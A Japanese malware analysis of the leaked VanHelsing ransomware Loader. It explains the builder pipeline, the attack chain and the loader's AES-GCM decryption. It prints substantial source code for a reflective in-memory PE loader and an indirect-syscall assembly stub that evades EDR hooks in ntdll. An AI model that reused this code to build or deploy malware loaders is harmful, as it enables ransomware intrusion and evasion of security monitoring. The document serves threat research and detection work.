1. 本文書について
本文書は、VanHelsingランサムウェアのリークされたソースコードのうち、Loaderコンポーネント(暗号化ペイロードの復号・メモリ内実行モジュール)の技術解析である。
1.1 解析対象の位置づけ
| # | コンポーネント | 役割 | 本文書の対象 |
|---|---|---|---|
| 1 | Locker | ファイル暗号化・ネットワーク拡散 | VanHelsing v1.0 Locker 技術解析 |
| 2 | Loader | ペイロードの復号・メモリ内実行 | 本文書 |
| 3 | Decrypter | 暗号化ファイルの復号 | VanHelsing v1.0 Decrypter 技術解析 |
| 4 | Brewriter | ブートレコード書き換え | VanHelsing v1.0 Brewriter 技術解析 |
| 5 | Builder | ビルド・パッケージング・C2連携 | VanHelsing v1.0 Builder 技術解析 |
1.2 なぜLoaderが必要なのか — Lockerを直接実行しない理由
VanHelsingのアフィリエイトが被害者環境でLockerを実行する方法は2つある:
- 方法A(直接実行): Locker.exeを被害者ディスクに配置して実行
- 方法B(Loader経由): Loader.exe(暗号化されたLockerを内包)を配置し、鍵を指定して実行
方法Aの問題は、Locker.exeが平文でディスク上に存在することである。Lockerはlibsodium、PSExec、ランサムノート文字列、Tor .onionアドレスなど、AV/EDRのシグネチャに引っかかりやすい特徴を大量に含む。ディスクに書き込まれた瞬間にリアルタイムスキャンで検知される可能性が高い。
方法BのLoaderが解決する問題:
| 問題 | Locker直接実行 | Loader経由 |
|---|---|---|
| ディスク上のLockerバイナリ | 平文で存在 → AVシグネチャ検知 | AES-256-GCM暗号化済み → シグネチャ不一致 |
| ファイルスキャン | Lockerのハッシュが即座にIOCマッチ | Loaderのハッシュのみ。Lockerは復号されるまで存在しない |
| メモリ上のLocker | Windows Loader経由 → ntdllフックで全API監視 | リフレクティブPE + 直接syscall → ntdllフック回避 |
| Lockerの復旧 | ディスクからバイナリを回収可能 | 鍵なしでは暗号化ペイロードの復号不能 |
| フォレンジック | Lockerバイナリがイベントログに記録 | コマンドラインに鍵が記録されるが、Lockerバイナリ自体は残らない |
つまりLoaderは、Lockerをディスクに触れさせずにメモリ上で実行するための「防弾チョッキ」として機能する。
1.3 ビルドパイプライン — BuilderがLoaderとLockerを結合する過程
Builderのソースコード(builder.cpp)から、Loader生成の具体的なパイプラインが確認できる[3]:
[Builder: BuildAndUploadLocker() — builder.cpp:28-256]
(1) ソースコードを一時ディレクトリにコピー
xcopy VanHelsing\ %TEMP%\<session>\ /E /H /C /I /F
(2) common.h内のプレースホルダを置換
"keyhere" → アフィリエイトの公開鍵(Curve25519)
"ticketId" → アフィリエイトのチケットID
(3) Lockerをコンパイル
msbuild 1-locker.vcxproj /t:Rebuild /p:Configuration=Release
→ 1-locker.exe を生成
(4) Lockerバイナリを読み込み → AES-256-GCM鍵/nonceをランダム生成 → 暗号化
encrypt_locker(ReadLocker("locker.exe"))
→ AES_MASTER_KEY(32バイト), AES_MASTER_NONCE(12バイト)を生成
(5) 暗号化されたLockerをcode.hとして書き出し
WriteDataHeader(encrypted_file, "3-loader/code.h")
→ unsigned char encrypted_code[...] = { 0x59, 0x23, ... };
(6) Loaderをコンパイル(code.hを含む)
msbuild 3-loader.vcxproj /t:Rebuild /p:Configuration=Release
→ 3-loader.exe を生成(暗号化Lockerが埋め込み済み)
(7) ReadMeGuid.txtを生成(鍵情報を記載)
"your password is : <AES_KEY_HEX>:<AES_NONCE_HEX>"
(8) Locker.zipにパッケージ(loader.exe + ReadMeGuid.txt)
→ C2サーバーにアップロード
重要なポイント: AES鍵とnonceはビルドごとにランダム生成される(common.cpp:141-147)。つまり、同じアフィリエイトの同じLockerバイナリであっても、ビルドのたびに異なる暗号化が施される。鍵はLoaderバイナリには含まれず、ReadMeGuid.txt にのみ記載されてアフィリエイトに渡される。
1.4 アフィリエイトの実際の使用フロー
C2パネルからダウンロードされる Locker.zip の内容:
Locker.zip ├── loader.exe # Loader(暗号化Lockerを内包) └── ReadMeGuid.txt # 使用方法と鍵情報
ReadMeGuid.txt にはアフィリエイト向けの実行ガイドが記載されている(builder common.cpp:231-304):
Windows Flags (locker.exe):
your password is : <AES_KEY_HEX>:<AES_NONCE_HEX>
--Password argument is required to run the locker
--no-admin
Disables check for admin rights.
--no-priority
Disables CPU and IO priority setting.
--Directory
to encrypt a specific directory
...(以下、Lockerの全フラグの説明)
アフィリエイトは以下のように実行する:
# 基本的な実行(Loaderが内部でLockerを復号・実行) loader.exe --Password <KEY>:<NONCE> # Loaderに渡されたフラグはLockerには伝播しない # Lockerに渡したいフラグがある場合、Lockerの引数はビルド時に設定されるか、 # Loader内部で追加される(現在のソースコードではLoader→Lockerの引数転送は未実装)
OPSEC考察 — 鍵の配布経路がC2パネル経由: 鍵(KEY:NONCE)はC2パネルからZIPでダウンロードされるため、C2通信が監視されていれば鍵が傍受される可能性がある。しかし、C2通信自体が暗号化されている場合(HTTPS等)、鍵の安全性はC2チャネルのセキュリティに依存する。
1.5 攻撃チェーンの全体図
[ビルドフェーズ — Builder (攻撃者インフラ)]
C2パネル → Builderにビルドタスク送信
│ (build_publickey, ticket_id, architecture)
▼
Builder: Lockerソースの鍵/ID置換 → Lockerコンパイル
│
▼
Builder: Lockerバイナリ → AES-256-GCM暗号化 → code.h生成
│ (ランダム AES鍵 + nonce 生成)
▼
Builder: Loaderコンパイル(code.h埋め込み) → loader.exe
│
▼
Builder: loader.exe + ReadMeGuid.txt → Locker.zip
│
▼
C2サーバーにアップロード → アフィリエイトがダウンロード
[実行フェーズ — 被害者環境]
アフィリエイト: 初期侵入(RDP、フィッシング等)
│
▼
loader.exe を被害者ディスクに配置
│ ※ この時点でLockerはAES暗号化されておりAV検知困難
▼
loader.exe --Password <KEY>:<NONCE> を実行
│
├── AES-256-GCM復号 → Lockerバイナリ(メモリ上のみ)
├── NtAllocateVirtualMemory (直接syscall/x64) → RWXメモリ確保
├── リフレクティブPEローディング(セクションコピー、インポート解決、リロケーション)
└── エントリポイント呼び出し
│
▼
Lockerが動作開始(メモリ内で実行)
├── MonitorAndKill(セキュリティ/バックアップ停止)
├── PurgeShadowCopies(シャドウコピー削除)
├── ファイル暗号化(XChaCha20-Poly1305)
├── ネットワーク拡散(SMB + PSExec)
└── README.txt配置 + 壁紙変更
1.3 ソースファイル構成
| ファイル | 行数 | 役割 |
|---|---|---|
main.cpp |
317行 | エントリポイント、リフレクティブPEローダー本体 |
core.h |
112行 | 関数宣言、型定義、NtAllocateVirtualMemoryのsyscall関連定義 |
core.cpp |
317行 | コマンドライン解析(--Password)、AES鍵/nonce分割 |
code.h |
123,226行 | AES-256-GCMで暗号化されたペイロード(1,478,672バイト ≈ 1.4MB) |
sys.asm |
16行 | x64 直接syscallアセンブリスタブ |
oldmain.cpp |
147行 | 旧バージョン(全面コメントアウト) |
1.4 技術的特徴(要約)
| 項目 | 内容 |
|---|---|
| ペイロード暗号化 | AES-256-GCM(libsodium crypto_aead_aes256gcm) |
| 鍵受け渡し | コマンドライン引数 --Password KEY:NONCE |
| PE実行方式 | リフレクティブPEローディング(インプロセス) |
| メモリ確保 | NtAllocateVirtualMemory 直接syscall(x64)/ ntdll関数ポインタ(x86) |
| 対応アーキテクチャ | x86 / x64 両対応(コンパイル時 #ifdef _M_X64 で分岐) |
| EDR回避技術 | 直接syscall、ファイルレスPE実行 |
| ペイロードサイズ | 1,478,672バイト(暗号化状態) |
参考文献
[1] ソースコードディレクトリ: windows/builder/Release/VanHelsing/3-loader/
[2] https://www.bleepingcomputer.com/news/security/vanhelsing-ransomware-builder-leaked-on-hacking-forum/ (BleepingComputer)
[3] builder.cpp:28-256(BuildAndUploadLocker関数)、common.cpp:92-228(ReadLocker、encrypt_locker、WriteDataHeader関数)
2. 実行フロー全体像
2.1 WinMain() — エントリポイント (main.cpp:37-317)
Loader全体の実行フローを以下に示す。Lockerと同様にGUIアプリケーション(WinMain)として実装されており、通常実行時にコンソールウィンドウは表示されない。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // コメントアウトされたデバッグコンソール //AllocConsole(); //freopen("CONOUT$", "w", stdout); //InitializeLibsFunctions(); // 放棄されたAPI動的解決(第8章で解説) // (1) libsodium初期化 if (sodium_init() < 0) { wprintf(L"[!] libsodium initialization failed\n"); return 1; } // (2) コマンドライン解析(--Password KEY:NONCEの取得) if (ParseArgs() == FALSE) { wprintf(L"[!]\tParseArgs Faild\n"); getchar(); // デバッグ用ブロック return 1; } // (3) 暗号化ペイロードの存在確認 if (!encrypted_code) { wprintf(L"[!]\tFaild to get encrypted_code\n"); getchar(); return 1; } // (4) ペイロードの復号(AES-256-GCM) // (5) PEヘッダー検証 // (6) メモリ確保(NtAllocateVirtualMemory) // (7) セクションコピー // (8) インポート解決 // (9) リロケーション適用 // (10) エントリポイント呼び出し }
実行は以下の10ステップで構成される:
| ステップ | 処理 | 失敗時の挙動 |
|---|---|---|
| 1 | libsodium初期化 | 即座に終了 |
| 2 | --Password KEY:NONCE 解析 |
エラー表示 + getchar() で停止 |
| 3 | 暗号化ペイロード存在確認 | エラー表示 + 停止 |
| 4 | AES-256-GCM復号 | エラー表示 + メモリ解放 + 停止 |
| 5 | DOSヘッダー + NTヘッダー検証 | エラー表示 + メモリ解放 + 停止 |
| 6 | NtAllocateVirtualMemory (RWX) | エラー表示 + メモリ解放 + 停止 |
| 7 | ヘッダー + セクション memcpy | — |
| 8 | ImportDirectory解決 | エラー表示 + メモリ解放 + 停止 |
| 9 | BaseRelocation適用 | — |
| 10 | エントリポイント関数呼び出し | — |
OPSEC考察 — getchar()の複数箇所への配置: 複数のエラーパスと正常フロー上に getchar() が配置されている(main.cpp:53, 59, 69, 79, 91, 99, 115, 139, 147, 168, 173, 189)。特に行173の getchar() はx64パスの正常実行フロー上(NtAllocateVirtualMemory成功後)にある。これがデバッグ用の残留コードか、意図的なサンドボックス回避機構かについては第10章で詳しく分析する。
参考文献
[3] main.cpp:37-317
3. ペイロード復号(AES-256-GCM)
3.1 暗号化ペイロードの構造
code.h にはAES-256-GCMで暗号化されたLockerバイナリが C配列として埋め込まれている:
// code.h:2-3 int encrypted_codeSize = 1478672; unsigned char encrypted_code[1478672] = { 0x59, 0x23, 0x29, 0xE4, 0xAE, 0xCB, 0x6B, 0x17, ... };
1,478,672バイト(約1.4MB)の暗号化ペイロードには、AES-256-GCMの認証タグ(16バイト)が含まれるため、復号後の平文PEバイナリは約1,478,656バイト(≈1.4MB)となる。このサイズはLockerバイナリ(暗号化ライブラリ、PSExecバイナリ等を含む)のサイズと整合する。
OPSEC考察 — なぜLockerの暗号化にAES-256-GCMを使用するか: Lockerのファイル暗号化にはXChaCha20-Poly1305を使用するが、Loader内のペイロード保護にはAES-256-GCMを使用している。 理由として:
- AES-256-GCMはハードウェアアクセラレーション(AES-NI)が利用可能な環境で非常に高速であり、1.4MBのペイロード復号が瞬時に完了する
- ペイロード暗号化はビルド時に1回だけ行われるため、ChaCha20のクロスプラットフォーム性は不要
- AES-GCMはNISTが承認した暗号方式であり、セキュリティ製品のホワイトリストに含まれやすい
3.2 復号処理 (main.cpp:64-82)
// メモリ確保 BYTE* code = (BYTE*)malloc(encrypted_codeSize); if (code == NULL) { wprintf(L"[!]\tFaild to decrypt \n"); getchar(); return 1; } // AES-256-GCM復号 unsigned long long codeSize = 0; int decrypt_result = crypto_aead_aes256gcm_decrypt( code, // 出力バッファ(復号された平文) &codeSize, // 出力サイズ NULL, // nsec(未使用) encrypted_code, // 暗号文(code.hの配列) encrypted_codeSize, // 暗号文サイズ NULL, // 追加認証データ(AAD)— 未使用 NULL, // AADサイズ — 0 reinterpret_cast<const unsigned char*>(AES_MASTER_NONCE.c_str()), // 12バイトnonce reinterpret_cast<const unsigned char*>(AES_MASTER_KEY.c_str()) // 32バイト鍵 ); if (decrypt_result != 0) { wprintf(L"[!] Decryption failed with error code: %d\n", decrypt_result); getchar(); free(code); return 1; }
crypto_aead_aes256gcm_decrypt() はlibsodiumのAES-256-GCM復号関数である[4]。AES-GCMはAEAD(認証付き暗号)であり、復号と同時にデータの完全性を検証する。認証タグが一致しない場合(鍵またはnonceが間違っている、暗号文が改ざんされている)、復号は失敗し -1 が返される。
OPSEC考察 — 鍵がバイナリに含まれない設計: AES_MASTER_KEY と AES_MASTER_NONCE はコマンドラインの --Password 引数から取得される(第6章で詳述)。
これはLockerの X25519_PUBLIC_KEY がバイナリに埋め込まれるのとは対照的な設計であり:
- Loaderバイナリを取得しても、鍵なしではペイロードを復号できない
- 静的解析でLockerバイナリのシグネチャを抽出することが不可能
- フォレンジック調査でLoaderバイナリを回収しても、コマンドライン引数が別途必要
ただし、コマンドライン引数はプロセス作成時にWindows Security EventID 4688やSysmon EventID 1で記録されるため、鍵がイベントログに残る可能性がある。
3.3 AES-256-GCM の技術的詳細
| パラメータ | 値 | 定義 |
|---|---|---|
| 鍵長 | 32バイト (256ビット) | crypto_aead_aes256gcm_KEYBYTES |
| nonce長 | 12バイト (96ビット) | crypto_aead_aes256gcm_NPUBBYTES |
| 認証タグ長 | 16バイト (128ビット) | crypto_aead_aes256gcm_ABYTES |
AES-256-GCMはAES(Advanced Encryption Standard)をGCM(Galois/Counter Mode)で運用する暗号化方式である。GCMモードはCTR(Counter)モードによるストリーム暗号化と、GHASH(Galois Hash)による認証タグ生成を組み合わせる。Intel AES-NIが利用可能なCPUではハードウェアレベルで処理されるため、ソフトウェア実装のChaCha20より高速になる場合がある。
AAD(追加認証データ)が未使用: crypto_aead_aes256gcm_decrypt() の第6, 7引数(AADとそのサイズ)が NULL, NULL で渡されている。AADはメタデータ(暗号化されないが認証される付加情報)を保護するために使用されるが、VanHelsingでは利用していない。これはAEADの機能を十分に活用していないが、ペイロード保護の目的としては暗号文の認証のみで十分である。
参考文献
[4] libsodium公式ドキュメント: AES-256-GCM — crypto_aead_aes256gcm
[5] code.h:2-3
[6] main.cpp:64-82
4. リフレクティブPEローディング
リフレクティブPEローディングは、Windows PEファイル(.exe/.dll)をディスクに書き出すことなくメモリ上で直接実行する技術である[7]。通常のWindows Loader(CreateProcess / LoadLibrary)を経由しないため、ファイルシステムレベルの監視やWindows Loaderにフックを設置するEDR製品を回避できる。MITRE ATT&CK T1620(Reflective Code Loading)に分類される。
4.1 PEヘッダー検証 (main.cpp:86-117)
復号されたバイト列がValid なPEファイルであることを確認する:
// DOSヘッダー検証 PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)code; if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) // "MZ" (0x5A4D) { wprintf(L"[!] Invalid DOS header\n"); free(code); return 1; } // NTヘッダー検証 PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(code + dosHeader->e_lfanew); if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) // "PE\0\0" (0x00004550) { wprintf(L"[!] Invalid NT signature\n"); free(code); return 1; } // 32bit/64bit判定 BOOL is64Bit = FALSE; if (ntHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // 0x20B is64Bit = TRUE; else if (ntHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // 0x10B is64Bit = FALSE; else { wprintf(L"[!] Unknown PE format\n"); free(code); return 1; }
DOSヘッダーの e_magic フィールド(最初の2バイト)が "MZ"(Mark Zbikowski、DOSの開発者の名前に由来)であること、e_lfanew が指すオフセットにNTヘッダーの "PE\0\0" シグネチャがあることを検証する。さらに、Optional Headerの Magic フィールドで32bit PE(0x10B)か64bit PE+(0x20B)かを判定する。
OPSEC考察 — 32/64bit両対応の意味: Loaderは復号されたペイロードのPEフォーマットを実行時に判定し、どちらにも対応する。これによりビルダーは32bit Lockerと64bit Lockerのどちらを埋め込んでも同じLoaderを使用できる。ただし、Loader自体のアーキテクチャ(#ifdef _M_X64)と復号されたペイロードのアーキテクチャが一致している必要がある(32bit Loaderで64bit PEを実行することはできない)。
4.2 メモリ確保 — NtAllocateVirtualMemory (main.cpp:119-193)
ここがLoaderのEDR回避における中核部分である:
// PEのメモリ上での展開サイズを取得 SIZE_T sizeOfImage = is64Bit ? ((PIMAGE_NT_HEADERS64)ntHeaders)->OptionalHeader.SizeOfImage : ((PIMAGE_NT_HEADERS32)ntHeaders)->OptionalHeader.SizeOfImage; PVOID NullBuffer = NULL; SIZE_T buffSize = sizeOfImage; HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); #ifdef _M_X64 // === x64アーキテクチャ === // ntdll.dll内のNtAllocateVirtualMemoryのアドレスを取得 UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); // syscall番号を動的に取得 wNtAllocateVirtualMemory = GetSyscallNumber(pNtAllocateVirtualMemory); // ntdll内の実際のsyscall命令(0x0F 0x05)のアドレスを検索 for (int i = 0; i < 50; i++) { if (*((BYTE*)(pNtAllocateVirtualMemory + i)) == 0x0F && *((BYTE*)(pNtAllocateVirtualMemory + i + 1)) == 0x05) { sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + i; break; } } // 直接syscallでメモリ確保(PAGE_EXECUTE_READWRITE) NTSTATUS vprotect = NtAllocateVirtualMemory( NtCurrentProcess(), (PVOID*)&NullBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE); getchar(); // 正常フロー上の入力待ち(第10章で分析) #else // === x86アーキテクチャ === // ntdll関数ポインタ経由で呼び出し(直接syscallではない) NtAllocateVirtualMemory FnNtAllocateVirtualMemory = (NtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); NTSTATUS vprotect = FnNtAllocateVirtualMemory( NtCurrentProcess(), (PVOID*)&NullBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE); #endif
なぜ VirtualAlloc ではなく NtAllocateVirtualMemory を使用するか:
Win32 API の VirtualAlloc() はユーザーモードAPI(kernel32.dll)であり、内部的に ntdll!NtAllocateVirtualMemory を呼び出してカーネルモードのメモリ管理に要求を渡す。多くのEDR製品は ntdll.dll のエクスポート関数の先頭にインラインフックを設置し、NtAllocateVirtualMemory 等のAPI呼び出しを監視している。VanHelsingのLoaderは、このフックを回避するために以下の手法を使用する:
GetProcAddressでNtAllocateVirtualMemoryのアドレスを取得- そのアドレスからsyscall番号(
mov eax, XXのXX部分)を動的に抽出 - 同じアドレス近傍から
syscall命令(0x0F 0x05)の実際のアドレスを検索 - アセンブリスタブ(sys.asm)からntdllのフック済み先頭コードを飛び越えて直接
syscall命令のアドレスにジャンプ
この手法は「Indirect Syscall」と呼ばれ、SysWhispersプロジェクト[8]で広く知られている。直接 syscall 命令を自前のコード内に配置する「Direct Syscall」とは異なり、ntdll内の正規の syscall 命令アドレスにジャンプするため、コールスタック検証(呼び出し元がntdll内であることの確認)を回避できる。
OPSEC考察 — x86とx64の非対称な実装:
- x64: sys.asmのアセンブリスタブ + syscall番号動的取得 + syscallアドレス検索 → Indirect Syscall
- x86:
GetProcAddressで取得した関数ポインタを直接呼び出し → EDR回避効果なし
x86パスでは通常のntdll関数ポインタ呼び出しであり、ntdllにフックが設置されていればそのフックを通過する。つまり、EDR回避はx64環境でのみ有効。現代のWindows環境はほぼ64bitであるため実用上は問題ないが、32bit環境ではEDRに検知されるリスクが高い。
4.3 syscall番号の動的取得 (main.cpp:24-34)
SIZE_T GetSyscallNumber(UINT_PTR pNtFunction) { for (int i = 0; i < 20; i++) { // ntdll関数の先頭20バイト以内で "mov eax, XX" を検索 if (*((BYTE*)(pNtFunction + i)) == 0xB8) { // 0xB8 は "mov eax, imm32" のオペコード // 次の4バイトがsyscall番号 return *(SIZE_T*)(pNtFunction + i + 1); } } return 0; }
Windowsのntdll関数スタブは以下の構造を持つ:
; NtAllocateVirtualMemory のntdllスタブ(典型例) mov r10, rcx ; 0x4C 0x8B 0xD1 mov eax, <syscall_number> ; 0xB8 XX XX XX XX ← ここからXXを抽出 syscall ; 0x0F 0x05 ret ; 0xC3
0xB8 は mov eax, imm32(32bit即値をeaxに移動)のオペコードであり、その直後の4バイトがsyscall番号である。syscall番号はWindowsのビルドごとに異なるため、ハードコードせず実行時に動的取得する必要がある。
4.4 アセンブリスタブ — sys.asm
; sys.asm — x64 NtAllocateVirtualMemory 直接syscallスタブ option casemap:none IFDEF AMD64 .data EXTERN wNtAllocateVirtualMemory:DWORD EXTERN sysAddrNtAllocateVirtualMemory:QWORD .code NtAllocateVirtualMemory PROC mov r10, rcx ; 第1引数をr10に移動(syscall規約) mov eax, wNtAllocateVirtualMemory ; syscall番号をeaxにセット jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; ntdll内のsyscall命令にジャンプ NtAllocateVirtualMemory ENDP ENDIF end
このアセンブリスタブが core.h で extern "C" 宣言された NtAllocateVirtualMemory 関数の実体である。C++コードから NtAllocateVirtualMemory(...) を呼び出すと、このアセンブリコードが実行される。
動作の詳細:
mov r10, rcx— Windows x64 syscall規約では第1引数がrcxで渡されるが、syscall命令はrcxを破壊する(RIPを保存するため)。そのためr10にコピーするmov eax, wNtAllocateVirtualMemory— 動的に取得したsyscall番号をeaxにセットjmp QWORD PTR [sysAddrNtAllocateVirtualMemory]— ntdll内のsyscall命令のアドレスに直接ジャンプ
OPSEC考察 — Indirect SyscallとDirect Syscallの違い:
- Direct Syscall: 自前のコード内に
syscall命令を配置。コールスタックに ntdll 外のアドレスが現れるため、ETWベースのコールスタック検証で検知可能[9] - Indirect Syscall(VanHelsingの手法): ntdll内の正規の
syscall命令にジャンプ。コールスタック上は ntdll 内のアドレスからsyscallが実行されるため、コールスタック検証を回避しやすい
Palo Alto Networksの分析によれば、Indirect Syscallは「call stack spoofing(コールスタック偽装)と組み合わせることで検知が著しく困難になる」と報告されている[9]。ただし、VanHelsingのLoaderはコールスタック偽装を実装していないため、戻りアドレスの検証で検知される可能性がある。
4.5 セクションコピー (main.cpp:199-212)
// PEヘッダーをコピー DWORD sizeOfHeaders = is64Bit ? ((PIMAGE_NT_HEADERS64)ntHeaders)->OptionalHeader.SizeOfHeaders : ((PIMAGE_NT_HEADERS32)ntHeaders)->OptionalHeader.SizeOfHeaders; memcpy(NullBuffer, code, sizeOfHeaders); // 各セクション(.text, .rdata, .data, .rsrc等)をコピー PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders); for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i) { BYTE* dest = (BYTE*)(NullBuffer) + sectionHeader[i].VirtualAddress; BYTE* src = code + sectionHeader[i].PointerToRawData; memcpy(dest, src, sectionHeader[i].SizeOfRawData); }
PEファイルのディスク上のレイアウト(PointerToRawData)とメモリ上のレイアウト(VirtualAddress)は異なる。各セクションのファイルオフセットからメモリ上の仮想アドレスにデータをコピーすることで、Windows Loaderが行うセクションマッピングを手動で再現する。
4.6 インポート解決 (main.cpp:214-265)
PIMAGE_DATA_DIRECTORY importDirectory =
&ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (importDirectory->Size > 0)
{
PIMAGE_IMPORT_DESCRIPTOR importDesc =
(PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)(NullBuffer) + importDirectory->VirtualAddress);
while (importDesc->Name)
{
// DLLをロード
LPCSTR moduleName = (LPCSTR)((BYTE*)(NullBuffer) + importDesc->Name);
HMODULE module = LoadLibraryA(moduleName);
// OriginalFirstThunk(INT)とFirstThunk(IAT)を使用
PIMAGE_THUNK_DATA thunk =
(PIMAGE_THUNK_DATA)((BYTE*)(NullBuffer) + importDesc->FirstThunk);
if (importDesc->OriginalFirstThunk) {
// OriginalFirstThunkが存在する場合(標準的なPE)
PIMAGE_THUNK_DATA origThunk =
(PIMAGE_THUNK_DATA)((BYTE*)(NullBuffer) + importDesc->OriginalFirstThunk);
while (origThunk->u1.AddressOfData) {
if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
// 序数(ordinal)によるインポート
thunk->u1.Function = (ULONGLONG)GetProcAddress(
module, (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
} else {
// 名前によるインポート
PIMAGE_IMPORT_BY_NAME importByName =
(PIMAGE_IMPORT_BY_NAME)((BYTE*)(NullBuffer)
+ origThunk->u1.AddressOfData);
thunk->u1.Function = (ULONGLONG)GetProcAddress(
module, (LPCSTR)importByName->Name);
}
origThunk++;
thunk++;
}
} else {
// OriginalFirstThunkがない場合(バインドされたインポート等)
// FirstThunkのみで解決
while (thunk->u1.AddressOfData) {
// ...同様の処理...
}
}
importDesc++;
}
}
インポートテーブル解決は、PEファイルが依存する外部DLL(kernel32.dll、user32.dll等)の関数アドレスを実行時に解決する処理である。LoadLibraryA で依存DLLをロードし、GetProcAddress で各関数のアドレスを取得してIAT(Import Address Table)に書き込む。
OPSEC考察 — LoadLibraryA/GetProcAddressの使用とEDR: LoadLibraryA と GetProcAddress はWin32 API経由の呼び出しであり、EDRがフックしている可能性がある。しかし、これらのAPI呼び出し自体は正規のアプリケーションでも広く使用されるため、単体では悪意の指標にならない。注目すべきは LoadLibraryA に渡されるDLL名のリストで、LockerのDLL依存(libsodium.dll, Netapi32.dll等)がここで読み込まれる。
旧バージョン(oldmain.cpp)との差異: 旧バージョンでは OriginalFirstThunk の処理がなく、FirstThunk のみで解決していた。これは一部のPEファイル(特にバインドされたインポートを持つもの)で問題を引き起こす可能性があった。現行バージョンで修正されている。
4.7 リロケーション適用 (main.cpp:267-299)
PIMAGE_DATA_DIRECTORY relocationDirectory =
&ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (relocationDirectory->Size > 0) {
// デルタ = 実際のロードアドレス - PEの想定ベースアドレス
ULONGLONG delta = (ULONGLONG)((BYTE*)(NullBuffer)) - (is64Bit ?
((PIMAGE_NT_HEADERS64)ntHeaders)->OptionalHeader.ImageBase :
((PIMAGE_NT_HEADERS32)ntHeaders)->OptionalHeader.ImageBase);
PIMAGE_BASE_RELOCATION relocation =
(PIMAGE_BASE_RELOCATION)((BYTE*)(NullBuffer) + relocationDirectory->VirtualAddress);
while (relocation->VirtualAddress) {
BYTE* dest = (BYTE*)(NullBuffer) + relocation->VirtualAddress;
DWORD count = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD relInfo = (PWORD)(relocation + 1);
for (DWORD i = 0; i < count; i++, relInfo++) {
int type = *relInfo >> 12;
int offset = *relInfo & 0xFFF;
if (type == IMAGE_REL_BASED_HIGHLOW) {
// 32bitリロケーション
DWORD* patchAddr = (DWORD*)(dest + offset);
*patchAddr += (DWORD)delta;
}
else if (type == IMAGE_REL_BASED_DIR64) {
// 64bitリロケーション
ULONGLONG* patchAddr = (ULONGLONG*)(dest + offset);
*patchAddr += delta;
}
}
relocation = (PIMAGE_BASE_RELOCATION)((BYTE*)relocation + relocation->SizeOfBlock);
}
}
PEファイルは特定のベースアドレス(ImageBase)にロードされることを前提にコンパイルされる。NtAllocateVirtualMemory で確保されたアドレスがこの想定アドレスと異なる場合、コード内の絶対アドレス参照を修正する必要がある。デルタ(実際のアドレスと想定アドレスの差)を計算し、リロケーションテーブルに従って各アドレス参照にデルタを加算する。
32bit(IMAGE_REL_BASED_HIGHLOW)と64bit(IMAGE_REL_BASED_DIR64)の両方のリロケーションタイプに対応しており、旧バージョン(oldmain.cpp)が32bitのみ対応だったのに対し、大幅に改善されている。
4.8 エントリポイント呼び出し (main.cpp:301-310)
// エントリポイントのRVA(相対仮想アドレス)を取得 DWORD entryPoint = is64Bit ? ((PIMAGE_NT_HEADERS64)ntHeaders)->OptionalHeader.AddressOfEntryPoint : ((PIMAGE_NT_HEADERS32)ntHeaders)->OptionalHeader.AddressOfEntryPoint; // 関数ポインタとしてキャスト using EXE_ENTRY = void(*)(); EXE_ENTRY entryFunc = (EXE_ENTRY)((BYTE*)(NullBuffer) + entryPoint); // エントリポイントを呼び出し — ここからLockerの実行が開始 entryFunc(); // Locker実行完了後のクリーンアップ free(code); // 復号バッファを解放 // NullBuffer(マッピングされたPE)は解放されない
entryFunc() の呼び出しにより、メモリ上にマッピングされたLockerの WinMain(または DllMain)が実行される。Lockerの実行が完了して戻ると、code(復号バッファ)は解放されるが、NullBuffer(マッピングされたPE領域)は解放されない。
バグ: NullBufferの未解放: NtAllocateVirtualMemory で確保したメモリは NtFreeVirtualMemory で解放すべきだが、この呼び出しがない。Lockerの実行後にLoaderプロセスが終了すれば自動的に解放されるが、クリーンアップの不完全さは開発品質の問題を示す。
参考文献
[7] T1620 - Reflective Code Loading (MITRE ATT&CK)
[8] https://github.com/jthuraisamy/SysWhispers (SysWhispers)
[9] https://www.paloaltonetworks.com/blog/security-operations/a-deep-dive-into-malicious-direct-syscall-detection/ (Palo Alto Networks)
[10] main.cpp:86-310
5. Syscall直接呼び出し(EDR回避)
第4章で解説したsyscall手法を、EDR回避の観点からさらに掘り下げる。
5.1 EDRフック回避の仕組み
[通常のAPI呼び出し(EDRフックあり)]
アプリケーション
→ kernel32!VirtualAlloc (Win32 API)
→ ntdll!NtAllocateVirtualMemory
→ [EDRフック: パラメータ検査/ログ記録] ← EDRがここで検知
→ syscall (カーネルモード遷移)
[VanHelsing Loaderの手法(Indirect Syscall)]
アプリケーション
→ sys.asm: NtAllocateVirtualMemory
→ mov r10, rcx
→ mov eax, <syscall番号>
→ jmp [ntdll内のsyscall命令アドレス] ← EDRフックをバイパス
→ syscall (カーネルモード遷移)
